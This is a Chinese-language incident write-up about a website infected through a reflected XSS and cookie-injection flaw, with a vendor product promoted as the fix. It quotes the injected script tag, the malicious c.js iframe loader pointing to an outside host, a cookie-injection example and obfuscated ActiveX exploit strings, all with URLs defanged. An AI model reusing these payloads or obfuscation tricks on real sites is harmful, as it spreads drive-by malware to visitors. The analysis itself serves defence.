IE漏洞攻击剧增 最新/CSS/c.js木马防范手记


近日,一款利用IE7漏洞进行传播的脚本木马在网上迅速传播,该木马利用搜索引擎检索站点漏洞,并进行自动传播。几天内,数万站点遭受感染,其中hongxiu.com、msn中国、东方财经网等都被入侵。

发现恶意软件!

某日早上,某网站维护人员小任像往常一样打开了网站首页,随手点击了一个链接,想验证一下网站是否可以正常访问,没想到居然触发了防病毒的软件的报警:“发现恶意软件”。心细的小任在一查之下大吃了一惊:首页的几乎所有链接都被加上了一个奇怪的网址“hxxp://c.nuclear3.com/css/c.js”,而这个js脚本,就是触发防病毒软件报警的元凶。

无奈之下,小任想到了自己单位的网络安全设备提供商启明星辰公司,并立刻联系上该公司驻当地人员,同时一并提供的还有网站的日志文件。

攻击者的手法

很快,小任就得到了启明星辰工程师的反馈信息,在网站的/down.asp页面下,存在一个反射式的XSS漏洞,骇客就是利用这个漏洞,通过cookie 注入的方式,将恶意脚本

<Script Src=hxxp://c.nu%63%6Cear3.com/css/c.js></script>

注入到每一个网站链接中,以达到危害用户的目的。

小知识:什么叫反射式XSS?

Web客户端使用Server端脚本生成页面为用户提供数据时,如果未经验证的用户数据被包含在页面中而未经HTML实体编码,客户端代码便能够注入到动态页面中。

在这个例子里,骇客将恶意脚本嵌入URL,网站访问者一旦点击这个链接,浏览器将认为恶意代码是来自网站,从而“放心”的执行。

小知识:cookie注入

Cookie注入是SQL注入攻击的一种表现形式,是系统直接使用"request("name")"获取客户提交的数据,并对客户提交的变量没有过滤,而且在防注入程序中没有限制Request.cookie所导致的。

一个典型的例子就是

javascript:alert(document.cookie="id="+escape(XX and "attack string")

斩断注入黑手

了解了问题的根源,剩下的就是防御问题了。在启明星辰工程师的协助下,通过安星远程网站安全检查服务,小任挨个清除了页面上所挂木马,同时还发现网站存在数个SQL注入和XSS漏洞,而原有的网站安全检查代码由于无法进行语义一级的还原①,无法彻底杜绝这两类攻击,只有通过部署相应安全产品解决。在对比了数家国内外的Web安全防御产品后,该网站最终选择了天清入侵防御产品,其采用攻击机理分析方式对Web威胁如SQL注入、XSS攻击等进行精确阻断。与传统的基于数据特征匹配和基于异常模型构建的Web安全相比,有着更低的漏报率和误报率。天清入侵防御产品上线后,当小任尝试用此前注入漏洞再次进行攻击时,发现在产品事件监视台上已经及时出现了报警信息并予以了阻断。再次采用安星检查服务后发现,已经无法嗅探出任何漏洞。

注①:继续拿/css/c.js木马举例,该木马的注入代码是hxxp://c.nuclear3.com/css/c.js,但这个.js脚本并不是真正的攻击代码,而只是一段代码:

document.write("<iframe src='hxxp://fvgit.cn/01/index.htm' width='100' height='0'></iframe>");

这个脚本文件会在一个隐藏的框体中引用有害的链接:'hxxp://fvgit.cn/01/index.htm,真正的攻击代码存在于这个链接处,这段攻击代码异常简单,摈弃了头标签体标签,直接就是攻击代码,且采用了替换躲避手法:

var ll=new ActiveXObject("snpv"+"w.Snap"+"shot View"+"er Cont"+"rol.1");}
rrooxx = "I" + "E" + "R" + "P" + "C" + "t" + "l" + ".I" + "ERP" + "Ctl.1";

这种替换躲避手法需要使用到语义还原,如果仅检查关键字,是无法发现和抵御此类攻击的。

(注:出于安全原因,文中所有“http”均被替换为“hxxp”。)



相关阅读:
开启CURL扩展,让服务器支持PHP curl函数(远程采集)
Linux下Openoffice乱码的解决方法
IE6 position:fixed bug (固定窗口方法)
调整重心-从IIS到SQL Server数据库安全
Javascript 中截取小数位并实现四舍五入的方法
Mysql 自动增加设定基值的语句
针对IE8正式版的CSS hack
初学PHP的朋友 经常问的一些问题。不断更新
改善SQLServer内存管理
ASP中过滤UBB和Html标签
ASP和PHP都是可以删除自身的
PHP中的float类型使用说明
jQuery 判断元素上是否绑定了事件
Oracle 中使用 fetch bulk collect into 批量效率的读取游标数据
快速导航

Copyright © 2016 phpStudy | 皖ICP备18014864号-4